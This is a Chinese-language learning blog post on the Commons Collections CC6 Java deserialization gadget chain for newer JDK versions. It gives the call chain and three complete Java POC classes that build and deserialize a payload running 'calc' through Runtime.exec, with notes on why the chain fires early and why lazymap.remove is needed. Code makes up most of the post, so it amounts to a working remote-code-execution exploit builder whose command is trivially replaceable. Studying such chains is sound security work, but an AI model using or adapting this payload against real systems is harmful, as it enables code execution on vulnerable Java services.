# 前言
也是跟着 p 牛的文章跟了一遍 CommonsCollection1 这条链子,在 CC1 中有着诸多限制,版本也是很低,当下 JDK20 在今年的 3 月份 21 正式发布,预计在本年 9 月将发布 JDK21,版本迭代的速度非常之快,原始的 cc 链只能在 jdk8u6 * 之前能够利用显然是不够的,也是需要想办法在更高版本能够利用 cc 链来进行恶意攻击
# CommonsCollection-6
文章中所涉及的代码都在 github 项目 https://github.com/clown-q/Clown_java 中,萌新浅记,大佬轻喷
# dump 源码
这里插入一点调试前的工作,因为 jdk 中是反编译的 class 文件,对调试很不友好,这里我是使用的 openjdk 的 sun 添加到外部库 jdk8u/jdk8u/jdk: 8181f8b6ef0d (openjdk.org) 将文件 down 下来后
将这里的 sun 文件放到 jdk 的 src 目录下
然后在 idea 中添加一下路径
# 链子调整
欧德克回归正题,因为在高版本中 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法逻辑发生了变化
这里没有了我们所需要的 chaeck 的调用,这里就需要寻找的新的利用链,也就是这个 cc6 来解决高版本中无法利用,简单来说实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get () 的地⽅,后面的地方还是和 cc1 一样的方式调用到危险函数,其实是用到了 HashMap,所以大概 CC6=CC1+URLDNS?
这里找到的是 org.apache.commons.collections.keyvalue.TiedMapEntry
这个类
这里使用了 get 方法,这个 map 可控,⽽ hashCode ⽅法调⽤了 getValue ⽅法
graph LR | |
a(HashMap.readObject)-->b(TiredMapEntry.hashCode) | |
b(TiredMapEntry.hashCode)-->c(LazyMap.get) | |
c(LazyMap.get)-->d(ChainedTransformer.transform) | |
d(ChainedTransformer.transform)-->e(Runtime.exec) |
package CommonsCollection.Clown_CC6; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class POC1 { | |
public static void Serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("output serialization"); | |
} | |
public static void Unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("poc1.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("input unserialization"); | |
} | |
public static void main(String[] args) throws Exception{ | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }), | |
}; | |
Transformer chainedTransformer = new ChainedTransformer(transformers); | |
HashMap map = new HashMap(); | |
Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏ | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); | |
HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点 | |
map2.put(tiedMapEntry,"bbb"); | |
lazymap.remove("aaa");// 这里将序列化过程中存入的 key 删除 | |
Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值 | |
Field factoryField = clazz.getDeclaredField("factory"); | |
factoryField.setAccessible(true);// 私有属性 | |
factoryField.set(lazymap,chainedTransformer);// 这里设置为目标的危险函数 | |
//Serialization(map2); | |
Unserialization(); | |
} | |
} |
# 注意
上面是完整的 poc,下面来记录一下这个链子的两个注意的点
package CommonsCollection.Clown_CC6; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class POC1 { | |
public static void Serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("output serialization"); | |
} | |
public static void Unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("poc1.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("input unserialization"); | |
} | |
public static void main(String[] args) throws Exception{ | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }), | |
}; | |
Transformer chainedTransformer = new ChainedTransformer(transformers); | |
HashMap map = new HashMap(); | |
// Map lazymap = LazyMap.decorate (map,new ConstantTransformer (1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏ | |
Map lazymap = LazyMap.decorate(map,chainedTransformer); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); | |
HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点 | |
map2.put(tiedMapEntry,"bbb"); | |
// lazymap.remove ("aaa");// 这里将序列化过程中存入的 key 删除 | |
// Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值 | |
// Field factoryField = clazz.getDeclaredField("factory"); | |
// factoryField.setAccessible (true);// 私有属性 | |
// factoryField.set (lazymap,chainedTransformer);// 这里设置为目标的危险函数 | |
Serialization(map2); | |
// Unserialization(); | |
} | |
} |
首先是这里在序列化的时候就已经触发了命令执行,这里跟 URLDNS 的思想一样,在序列化的阶段的 put 触发,那么最简单的思想就是在 put 前将链子中断,put 之后再将链子指向改为正确的
package CommonsCollection.Clown_CC6; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class POC1 { | |
public static void Serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("output serialization"); | |
} | |
public static void Unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("poc1.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("input unserialization"); | |
} | |
public static void main(String[] args) throws Exception{ | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }), | |
}; | |
Transformer chainedTransformer = new ChainedTransformer(transformers); | |
HashMap map = new HashMap(); | |
Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏ | |
// Map lazymap = LazyMap.decorate(map,chainedTransformer); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); | |
HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点 | |
map2.put(tiedMapEntry,"bbb"); | |
// lazymap.remove ("aaa");// 这里将序列化过程中存入的 key 删除 | |
Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值 | |
Field factoryField = clazz.getDeclaredField("factory"); | |
factoryField.setAccessible(true);// 私有属性 | |
factoryField.set(lazymap,chainedTransformer);// 这里设置为目标的危险函数 | |
Serialization(map2); | |
// Unserialization(); | |
} | |
} |
这里是为什么要有 lazymap.remove ("aaa");,如果没有的话反序列化不能正常触发链子,这里在 put 下断点调试进去看一下
这里进到 hash,一直进到 get 方法
可以看到这里会判断 LazyMap 里面有没有 key,开始是没有的,然后回 put 进去一个键值对,所以如果这里不删除就会导致在反序列化的之后不能进到 if,不能调用 factory.Transform 函数